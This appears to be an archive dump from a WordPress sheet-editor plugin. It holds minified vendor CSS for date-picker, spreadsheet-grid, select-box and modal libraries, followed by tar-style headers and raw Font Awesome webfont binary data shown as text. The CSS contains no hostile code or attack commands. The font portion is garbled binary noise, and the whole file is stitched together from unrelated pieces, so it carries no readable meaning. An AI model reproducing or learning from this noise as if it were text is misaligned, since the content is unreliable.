3px;font-size:14px;line-height:20px;font-weight:700;background-color:#fff}.pika-title select{cursor:pointer;position:absolute;z-index:9998;margin:0;left:0;top:5px;opacity:0}.pika-next,.pika-prev{display:block;cursor:pointer;position:relative;outline:0;border:0;padding:0;width:20px;height:30px;text-indent:20px;white-space:nowrap;overflow:hidden;background-color:transparent;background-position:center center;background-repeat:no-repeat;background-size:75% 75%;opacity:.5}.pika-next:hover,.pika-prev:hover{opacity:1}.is-rtl .pika-next,.pika-prev{float:left;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg==)}.is-rtl .pika-prev,.pika-next{float:right;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII=)}.pika-next.is-disabled,.pika-prev.is-disabled{cursor:default;opacity:.2}.pika-select{display:inline-block}.pika-table{width:100%;border-collapse:collapse;border-spacing:0;border:0}.pika-table td,.pika-table th{width:14.285714285714286%;padding:0}.pika-table th{color:#999;font-size:12px;line-height:25px;font-weight:700;text-align:center}.pika-button{cursor:pointer;display:block;box-sizing:border-box;-moz-box-sizing:border-box;outline:0;border:0;margin:0;width:100%;padding:5px;color:#666;font-size:12px;line-height:15px;text-align:right;background:#f5f5f5}.pika-week{font-size:11px;color:#999}.is-today .pika-button{color:#3af;font-weight:700}.is-selected .pika-button{color:#fff;font-weight:700;background:#3af;box-shadow:inset 0 1px 3px #178fe5;border-radius:3px}.is-inrange .pika-button{background:#d5e9f7}.is-startrange .pika-button{color:#fff;background:#6cb31d;box-shadow:none;border-radius:3px}.is-endrange .pika-button{color:#fff;background:#3af;box-shadow:none;border-radius:3px}.is-disabled .pika-button,.is-outside-current-month .pika-button{pointer-events:none;cursor:default;color:#999;opacity:.3}.pika-button:hover{color:#fff;background:#ff8000;box-shadow:none;border-radius:3px}.pika-table abbr{border-bottom:none;cursor:help}.htCommentCell{position:relative}.htCommentCell:after{content:'';position:absolute;top:0;right:0;border-left:6px solid transparent;border-top:6px solid #000}.htComments{display:none;z-index:1059;position:absolute}.htCommentTextArea{box-shadow:rgba(0,0,0,.117647) 0 1px 3px,rgba(0,0,0,.239216) 0 1px 2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:none;border-left:3px solid #ccc;background-color:#fff;width:215px;height:90px;font-size:12px;padding:5px;outline:0!important;-webkit-appearance:none}.htCommentTextArea:focus{box-shadow:rgba(0,0,0,.117647) 0 1px 3px,rgba(0,0,0,.239216) 0 1px 2px,inset 0 0 0 1px #5292f7;border-left:3px solid #5292f7}/*! * Handsontable ContextMenu */.htContextMenu:not(.htGhostTable){display:none;position:absolute;z-index:1060}.htContextMenu .ht_clone_corner,.htContextMenu .ht_clone_debug,.htContextMenu .ht_clone_left,.htContextMenu .ht_clone_top{display:none}.htContextMenu table.htCore{border:1px solid #ccc;border-bottom-width:2px;border-right-width:2px}.htContextMenu .wtBorder{visibility:hidden}.htContextMenu table tbody tr td{background:#fff;border-width:0;padding:4px 6px 0 6px;cursor:pointer;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.htContextMenu table tbody tr td:first-child{border:0}.htContextMenu table tbody tr td.htDimmed{font-style:normal;color:#323232}.htContextMenu table tbody tr td.current,.htContextMenu table tbody tr td.zeroclipboard-is-hover{background:#f3f3f3}.htContextMenu table tbody tr td.htSeparator{border-top:1px solid #e6e6e6;height:0;padding:0;cursor:default}.htContextMenu table tbody tr td.htDisabled{color:#999;cursor:default}.htContextMenu table tbody tr td.htDisabled:hover{background:#fff;color:#999;cursor:default}.htContextMenu table tbody tr.htHidden{display:none}.htContextMenu table tbody tr td .htItemWrapper{margin-left:10px;margin-right:6px}.htContextMenu table tbody tr td div span.selected{margin-top:-2px;position:absolute;left:4px}.htContextMenu .ht_master .wtHolder{overflow:hidden}textarea#HandsontableCopyPaste{position:fixed!important;top:0!important;right:100%!important;overflow:hidden;opacity:0;outline:0 none!important}.htRowHeaders .ht_master.innerBorderLeft~.ht_clone_left td:first-of-type,.htRowHeaders .ht_master.innerBorderLeft~.ht_clone_top_left_corner th:nth-child(2){border-left:0 none}.handsontable .wtHider{position:relative}.handsontable.ht__manualColumnMove.after-selection--columns thead th.ht__highlight{cursor:move;cursor:-moz-grab;cursor:-webkit-grab;cursor:grab}.handsontable.ht__manualColumnMove.on-moving--columns,.handsontable.ht__manualColumnMove.on-moving--columns thead th.ht__highlight{cursor:move;cursor:-moz-grabbing;cursor:-webkit-grabbing;cursor:grabbing}.handsontable.ht__manualColumnMove.on-moving--columns .manualColumnResizer{display:none}.handsontable .ht__manualColumnMove--backlight,.handsontable .ht__manualColumnMove--guideline{position:absolute;height:100%;display:none}.handsontable .ht__manualColumnMove--guideline{background:#757575;width:2px;top:0;margin-left:-1px;z-index:105}.handsontable .ht__manualColumnMove--backlight{background:#343434;background:rgba(52,52,52,.25);display:none;z-index:105;pointer-events:none}.handsontable.on-moving--columns .ht__manualColumnMove--backlight,.handsontable.on-moving--columns.show-ui .ht__manualColumnMove--guideline{display:block}.handsontable .wtHider{position:relative}.handsontable.ht__manualRowMove.after-selection--rows tbody th.ht__highlight{cursor:move;cursor:-moz-grab;cursor:-webkit-grab;cursor:grab}.handsontable.ht__manualRowMove.on-moving--rows,.handsontable.ht__manualRowMove.on-moving--rows tbody th.ht__highlight{cursor:move;cursor:-moz-grabbing;cursor:-webkit-grabbing;cursor:grabbing}.handsontable.ht__manualRowMove.on-moving--rows .manualRowResizer{display:none}.handsontable .ht__manualRowMove--backlight,.handsontable .ht__manualRowMove--guideline{position:absolute;width:100%;display:none}.handsontable .ht__manualRowMove--guideline{background:#757575;height:2px;left:0;margin-top:-1px;z-index:105}.handsontable .ht__manualRowMove--backlight{background:#343434;background:rgba(52,52,52,.25);display:none;z-index:105;pointer-events:none}.handsontable.on-moving--rows .ht__manualRowMove--backlight,.handsontable.on-moving--rows.show-ui .ht__manualRowMove--guideline{display:block}.handsontable tbody td[rowspan][class*=area][class*=highlight]:not([class*=fullySelectedMergedCell]):before{opacity:0}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-multiple]:before{opacity:.1}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-0]:before{opacity:.1}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-1]:before{opacity:.2}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-2]:before{opacity:.27}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-3]:before{opacity:.35}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-4]:before{opacity:.41}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-5]:before{opacity:.47}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-6]:before{opacity:.54}.handsontable tbody td[rowspan][class*=area][class*=highlight][class*=fullySelectedMergedCell-7]:before{opacity:.58} /*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.8.3 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2018 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:inline-block;vertical-align:middle;font-size:13px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.chosen-container *{-webkit-box-sizing:border-box;box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff;-webkit-box-shadow:0 4px 5px rgba(0,0,0,.15);box-shadow:0 4px 5px rgba(0,0,0,.15);display:none}.chosen-container.chosen-with-drop .chosen-drop{display:block}.chosen-container a{cursor:pointer}.chosen-container .chosen-single .group-name,.chosen-container .search-choice .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:400;color:#999}.chosen-container .chosen-single .group-name:after,.chosen-container .search-choice .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:0 0 0 8px;height:25px;border:1px solid #aaa;border-radius:5px;background-color:#fff;background:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#fff),color-stop(50%,#f6f6f6),color-stop(52%,#eee),to(#f4f4f4));background:linear-gradient(#fff 20%,#f6f6f6 50%,#eee 52%,#f4f4f4 100%);background-clip:padding-box;-webkit-box-shadow:0 0 3px #fff inset,0 1px 1px rgba(0,0,0,.1);box-shadow:0 0 3px #fff inset,0 1px 1px rgba(0,0,0,.1);color:#444;text-decoration:none;white-space:nowrap;line-height:24px}.chosen-container-single .chosen-single input[type=text]{cursor:pointer;opacity:0;position:absolute}.chosen-container-single .chosen-default{color:#999}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;text-overflow:ellipsis;white-space:nowrap}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:6px;right:26px;display:block;width:12px;height:12px;background:url("../images/chosen-sprite.png") -42px 1px no-repeat;font-size:1px}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:0;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../images/chosen-sprite.png") no-repeat 0 2px}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type=text]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:url("../images/chosen-sprite.png") no-repeat 100% -20px;font-size:1em;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;clip:rect(0,0,0,0)}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#3875d7;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#3875d7),color-stop(90%,#2a62bc));background-image:linear-gradient(#3875d7 20%,#2a62bc 90%);color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:700;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-multi .chosen-choices{position:relative;overflow:hidden;margin:0;padding:0 5px;width:100%;height:auto;border:1px solid #aaa;background-color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(1%,#eee),color-stop(15%,#fff));background-image:linear-gradient(#eee 1%,#fff 15%);cursor:text}.chosen-container-multi .chosen-choices li{float:left;list-style:none}.chosen-container-multi .chosen-choices li.search-field{margin:0;padding:0;white-space:nowrap}.chosen-container-multi .chosen-choices li.search-field input[type=text]{margin:1px 0;padding:0;height:25px;outline:0;border:0!important;background:0 0!important;-webkit-box-shadow:none;box-shadow:none;color:#999;font-size:100%;font-family:sans-serif;line-height:normal;border-radius:0;width:25px}.chosen-container-multi .chosen-choices li.search-choice{position:relative;margin:3px 5px 3px 0;padding:3px 20px 3px 5px;border:1px solid #aaa;max-width:100%;border-radius:3px;background-color:#eee;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),to(#eee));background-image:linear-gradient(#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);background-size:100% 19px;background-repeat:repeat-x;background-clip:padding-box;-webkit-box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);box-shadow:0 0 2px #fff inset,0 1px 0 rgba(0,0,0,.05);color:#333;line-height:13px;cursor:default}.chosen-container-multi .chosen-choices li.search-choice span{word-wrap:break-word}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close{position:absolute;top:4px;right:3px;display:block;width:12px;height:12px;background:url("../images/chosen-sprite.png") -42px 1px no-repeat;font-size:1px}.chosen-container-multi .chosen-choices li.search-choice .search-choice-close:hover{background-position:-42px -10px}.chosen-container-multi .chosen-choices li.search-choice-disabled{padding-right:5px;border:1px solid #ccc;background-color:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#f4f4f4),color-stop(50%,#f0f0f0),color-stop(52%,#e8e8e8),to(#eee));background-image:linear-gradient(#f4f4f4 20%,#f0f0f0 50%,#e8e8e8 52%,#eee 100%);color:#666}.chosen-container-multi .chosen-choices li.search-choice-focus{background:#d4d4d4}.chosen-container-multi .chosen-choices li.search-choice-focus .search-choice-close{background-position:-42px -10px}.chosen-container-multi .chosen-results{margin:0;padding:0}.chosen-container-multi .chosen-drop .result-selected{display:list-item;color:#ccc;cursor:default}.chosen-container-active .chosen-single{border:1px solid #5897fb;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0;background-image:-webkit-gradient(linear,left top,left bottom,color-stop(20%,#eee),color-stop(80%,#fff));background-image:linear-gradient(#eee 20%,#fff 80%);-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:0 0}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb;-webkit-box-shadow:0 0 5px rgba(0,0,0,.3);box-shadow:0 0 5px rgba(0,0,0,.3)}.chosen-container-active .chosen-choices li.search-field input[type=text]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type=text]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:none}.chosen-rtl .chosen-search input[type=text]{padding:4px 5px 4px 20px;background:url("../images/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span,.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container-single .chosen-search input[type=text],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-rtl .chosen-search input[type=text]{background-image:url(chosen-sprite@2x.png)!important;background-size:52px 37px!important;background-repeat:no-repeat!important}} html.remodal-is-locked{overflow:hidden;-ms-touch-action:none;touch-action:none}.remodal,[data-remodal-id]{display:none}.remodal-overlay{position:fixed;z-index:9999;top:-5000px;right:-5000px;bottom:-5000px;left:-5000px;display:none}.remodal-wrapper{position:fixed;z-index:10000;top:0;right:0;bottom:0;left:0;display:none;overflow:auto;text-align:center;-webkit-overflow-scrolling:touch}.remodal-wrapper:after{display:inline-block;height:100%;margin-left:-.05em;content:""}.remodal-overlay,.remodal-wrapper{-webkit-backface-visibility:hidden;backface-visibility:hidden}.remodal{position:relative;outline:0;-webkit-text-size-adjust:100%;-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;text-size-adjust:100%}.remodal-is-initialized{display:inline-block} .remodal-bg.remodal-is-opened,.remodal-bg.remodal-is-opening{-webkit-filter:blur(3px);filter:blur(3px)}.remodal-overlay{background:rgba(43,46,56,.9)}.remodal-overlay.remodal-is-closing,.remodal-overlay.remodal-is-opening{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.remodal-overlay.remodal-is-opening{-webkit-animation-name:remodal-overlay-opening-keyframes;animation-name:remodal-overlay-opening-keyframes}.remodal-overlay.remodal-is-closing{-webkit-animation-name:remodal-overlay-closing-keyframes;animation-name:remodal-overlay-closing-keyframes}.remodal-wrapper{padding:10px 10px 0}.remodal{-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;margin-bottom:10px;padding:35px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);color:#2b2e38;background:#fff}.remodal.remodal-is-closing,.remodal.remodal-is-opening{-webkit-animation-duration:.3s;animation-duration:.3s;-webkit-animation-fill-mode:forwards;animation-fill-mode:forwards}.remodal.remodal-is-opening{-webkit-animation-name:remodal-opening-keyframes;animation-name:remodal-opening-keyframes}.remodal.remodal-is-closing{-webkit-animation-name:remodal-closing-keyframes;animation-name:remodal-closing-keyframes}.remodal,.remodal-wrapper:after{vertical-align:middle}.remodal-close{position:absolute;top:0;left:0;display:block;overflow:visible;width:35px;height:35px;margin:0;padding:0;cursor:pointer;-webkit-transition:color .2s;transition:color .2s;text-decoration:none;color:#95979c;border:0;outline:0;background:0 0}.remodal-close:focus,.remodal-close:hover{color:#2b2e38}.remodal-close:before{font-family:Arial,"Helvetica CY","Nimbus Sans L",sans-serif!important;font-size:25px;line-height:35px;position:absolute;top:0;left:0;display:block;width:35px;content:"\00d7";text-align:center}.remodal-cancel,.remodal-confirm{font:inherit;display:inline-block;overflow:visible;min-width:110px;margin:0;padding:12px 0;cursor:pointer;-webkit-transition:background .2s;transition:background .2s;text-align:center;vertical-align:middle;text-decoration:none;border:0;outline:0}.remodal-confirm{color:#fff;background:#81c784}.remodal-confirm:focus,.remodal-confirm:hover{background:#66bb6a}.remodal-cancel{color:#fff;background:#e57373}.remodal-cancel:focus,.remodal-cancel:hover{background:#ef5350}.remodal-cancel::-moz-focus-inner,.remodal-close::-moz-focus-inner,.remodal-confirm::-moz-focus-inner{padding:0;border:0}@-webkit-keyframes remodal-opening-keyframes{from{-webkit-transform:scale(1.05);transform:scale(1.05);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes remodal-opening-keyframes{from{-webkit-transform:scale(1.05);transform:scale(1.05);opacity:0}to{-webkit-transform:none;transform:none;opacity:1}}@-webkit-keyframes remodal-closing-keyframes{from{-webkit-transform:scale(1);transform:scale(1);opacity:1}to{-webkit-transform:scale(.95);transform:scale(.95);opacity:0}}@keyframes remodal-closing-keyframes{from{-webkit-transform:scale(1);transform:scale(1);opacity:1}to{-webkit-transform:scale(.95);transform:scale(.95);opacity:0}}@-webkit-keyframes remodal-overlay-opening-keyframes{from{opacity:0}to{opacity:1}}@keyframes remodal-overlay-opening-keyframes{from{opacity:0}to{opacity:1}}@-webkit-keyframes remodal-overlay-closing-keyframes{from{opacity:1}to{opacity:0}}@keyframes remodal-overlay-closing-keyframes{from{opacity:1}to{opacity:0}}@media only screen and (min-width:641px){.remodal{max-width:700px}}.lt-ie9 .remodal-overlay{background:#2b2e38}.lt-ie9 .remodal{width:700px} modules/wp-sheet-editor/assets/vendor/fonts/fontawesome-webfont.svg000064400001553754147600365160021732 0ustar00 Created by FontForge 20120731 at Mon Oct 24 17:37:40 2016 By ,,, Copyright Dave Gandy 2016. All rights reserved. modules/wp-sheet-editor/assets/vendor/fonts/fontawesome-webfont.ttf000064400000503254147600365160021715 0ustar00 PFFTMkGGDEFp OS/22z@X`cmap : gasphglyfMLhead-6hhea $hmtxEy loca\ maxp,8 name㗋ghpostkuːxY_< 3232  '@i33spyrs@  pU]yn2@ zZ@55 zZZ@,_@s@ @(@@@- MM- MM@@@ -`b $ 648""""""@ D@ ,,@  m)@@   ' D9>dY* '    T     @ f %RE    $!k(D'  % %  0%/&p@0 !"""`>N^n~.>N^n~>N^n~ !"""`!@P`p 0@P`p!@P`p\XSB1ݬ        ,,,,,,,,,,,,,tLT$l x T ( dl,4dpH$d,t( !"0# $,$&D'()T**,,-.@./`/00123d4445 556 6\67H78 8`89L9:h:;<>?h?@H@A0ABXBCdCDLDEFG0GHIJ8KLMdN,NNOP`PQ4QR RlS,ST`U0WXZ[@[\<\]^(^_`pb,bddePefg`giLijDk klm@n,oLpqrsxttuD{`||}}~Hl@lH T H`@$\XDTXDP,8d\Hx tXpdxt@ Œ\ ļŸƔ0dʨˀ͔xϰЌ,ш҈ ӌ8,՜`lHش`Tڸ۔@lބ߬lp 4X$l( ` d      ,,8(Xx|T@| !"x##l$$'h(*L,T.L1t1230345t6T7$8 9H::;<<?X@ABCDEHFHGpHHIxJ JKLMN@P@QRSDT ULV`VWXX4XZZ[d[\|]^`aHabcXdetfhghi\jxnp@svwxyz{h|}}\lt4t88LT|| 4xLX(  @lt$xLL HĠT(  ʈˠϔldPՄxpڬTT ވL <H$l4 Pl ,xp,xt d 44,hP 4   4<,,408$8T |!h"$L%0&H'()*0*+,.$.012@234t5$69 ::; ;<(<=4?@ACDFH`HILLLLLLLLLLLLLLLLp7!!!@pp p]!2#!"&463!&54>3!2+@&&&&@+$(($F#+&4&&4&x+#+".4>32".4>32467632DhgZghDDhg-iWDhgZghDDhg-iW&@ (8 2N++NdN+';2N++NdN+'3 8!  #"'#"$&6$ rL46$܏ooo|W%r4L&V|oooܳ%=M%+".'&%&'3!26<.#!";2>767>7#!"&5463!2 %3@m00m@3%    @ :"7..7":6]^B@B^^BB^ $΄+0110+$ (   t1%%1+`B^^B@B^^"'.54632>324 #LoP$$Po>Z$_dC+I@$$@I+"#"'%#"&547&547%62V??V8<8y   b% I))9I  + % %#"'%#"&547&547%62q2ZZ2IzyV)??V8<8)>~>[   2 b% I))9I %#!"&54>3 72 &6 }XX}.GuLlLuG.>mmUmEEm> /?O_o54&+";2654&+";2654&+";264&#!"3!2654&+";2654&+";264&#!"3!2654&+";2654&+";2654&+";267#!"&5463!2&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&^BB^^B@B^@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&B^^B@B^^/?#!"&5463!2#!"&5463!2#!"&5463!2#!"&5463!2L44LL44LL44LL44LL44LL44LL44LL44L4LL44LL4LL44LL4LL44LL4LL44LL /?O_o#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!28((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(88((88(@(8 (88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88(88((88/?O_#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!28((88(@(88((88(@(88(@(88((88((88(@(88(@(88((88(@(88((8 (88((88(88((88(88((88(88((88(88((88(88((88y"/&4?62 62,PP&PP,jPn#$"' "/&47 &4?62 62 PP&P&&P&P&P&&P&P#+D++"&=#"&=46;546;232  #"'#"$&6$   @    @  rK56$܏ooo|W@    @   rjK&V|oooܳ0#!"&=463!2  #"'#"$&6$   @ rK56$܏ooo|W@  @ rjK&V|oooܳ)5 $&54762>54&'.7>"&5462zz+i *bkQнQkb* j*LhLLhLzzBm +*i JyhQQhyJ i*+ mJ4LL44LL/?O%+"&=46;2%+"&546;2%+"&546;2+"&546;2+"&546;2`r@@r@@n4&"2#"/+"&/&'#"'&'&547>7&/.=46?67&'&547>3267676;27632Ԗ #H  ,/ 1)  ~'H  (C  ,/ 1)  $H ԖԖm 6%2X  % l2 k r6 [21 ..9Q $ k2 k w3 [20/;Cg+"&546;2+"&546;2+"&546;2!3!2>!'&'!+#!"&5#"&=463!7>3!2!2@@@@@@@`0 o`^BB^`5FN(@(NF5 @@@L%%Ju  @LSyuS@%44%f5#!!!"&5465 7#"' '&/&6762546;2&&??>  LL >  X   &&&AJ A J Wh##!"&5463!2!&'&!"&5!(8((88((`x c`(8`((88(@(8(D 9 8( ,#!"&=46;46;2.  6 $$ @(r^aa@@`(_^aa2NC5.+";26#!26'.#!"3!"547>3!";26/.#!2W  .@   @.$S   S$@   9I   I6>  >%=$4&"2$4&"2#!"&5463!2?!2"'&763!463!2!2&4&&4&&4&&48(@(88(ч::(8@6@*&&*4&&4&&4&&4& (88(@(8888)@)'&&@$0"'&76;46;232  >& $$ `  (r^aa` @`2(^aa$0++"&5#"&54762  >& $$ ^ ?  @(r^aa` ? (^aa #!.'!!!%#!"&547>3!2<<<_@`&& 5@5 @  &&>=(""='#"'&5476.  6 $$   ! (r^aaJ %%(_^aa3#!"'&?&#"3267672#"$&6$3276&@*hQQhwI mʬzzk)'@&('QнQh_   z8zoe$G!"$'"&5463!23267676;2#!"&4?&#"+"&=!2762@hk4&&&GaF * &@&ɆF * Ak4&nf&&&4BHrd@&&4rd  Moe&/?O_o+"&=46;25+"&=46;25+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!26#!"&5463!2 @  @  @  @  @  @  @    @    @    @   ^B@B^^BB^`@  @ @  @ @  @ @  @ @  @ @  @ 3@  MB^^B@B^^!54&"#!"&546;54 32@Ԗ@8(@(88( p (8jj(88(@(88@7+"&5&5462#".#"#"&5476763232>32@@ @ @KjKך=}\I&:k~&26]S &H&  &H5KKut,4, & x:;*4*&K#+"&546;227654$ >3546;2+"&="&/&546$ <X@@Gv"DװD"vG@@X<4L41!Sk @ G< _bb_ 4.54632&4&&M4&UF &""""& F&M&&M&%/B/%G-Ik"'!"&5463!62#"&54>4.54632#"&54767>4&'&'&54632#"&547>7676'&'.'&54632&4&&M4&UF &""""& FU &'8JSSJ8'&  &'.${{$.'& &M&&M&%/B/%7;&'66'&;4[&$ [2[ $&[  #/37#5#5!#5!!!!!!!#5!#5!5##!35!!! #'+/37;?3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3???? ^>>~??????~??~??^??^^? ^??4&"2#"'.5463!2KjKKjv%'45%5&5L45&% jKKjK@5%%%%54L5&6'k54&"2#"'.5463!2#"&'654'.#32KjKKjv%'45%5&5L45&%%'4$.%%5&55&% jKKjK@5%%%%54L5&6'45%%%54'&55&6' yTdt#!"&'&74676&7>7>76&7>7>76&7>7>76&7>7>63!2#!"3!2676'3!26?6&#!"3!26?6&#!"g(sAeM ,*$/ !'& JP$G] x6,& `   h `   "9Hv@WkNC<.  &k& ( "$p" . #u&#  %!' pJvwEF#  @   @  2#"' #"'.546763!''!0#GG$/!''! 8""8  X! 8" "8  <)!!#"&=!4&"27+#!"&=#"&546;463!232(8&4&&4 8(@(8 qO@8((`(@Oq8(&4&&4&@` (88( Oq (8(`(q!)2"&42#!"&546;7>3!2  Ijjjj3e55e3gr`Ijjjj1GG1rP2327&7>7;"&#"4?2>54.'%3"&#"#ժ!9&WB03& K5!)V?@L' >R>e;&L::%P>vO 'h N_":- &+# : ' +a%3 4'.#"32>54.#"7>7><5'./6$3232#"&#"+JBx)EB_I:I*CRzb3:dtB2P$ $5.3bZF|\8!-T>5Fu\,,jn OrB,7676'5.'732>7"#"&#&#"OA zj=N!}:0e%  y + tD3~U#B4 # g  '2 %/!: T bRU,7}%2"/&6;#"&?62+326323!2>?23&'.'.#"&"$#"#&=>764=464.'&#"&'!~:~!PP!~:~!P6 ,,$$% *'  c2N  ($"LA23Yl !x!*%%%% pP,T NE Q7^oH!+( 3  *Ueeu  wga32632$?23&'.5&'&#"&"5$#"#&=>7>4&54&54>.'&#"&'2#".465!#".'&47>32!4&4>Q6 ,,Faw!*' =~Pl*  ($"LA23Yl  )!* <7@@7<  <7@@7<  pP,T MF Q747ƢHoH!+( 3  tJHQ6  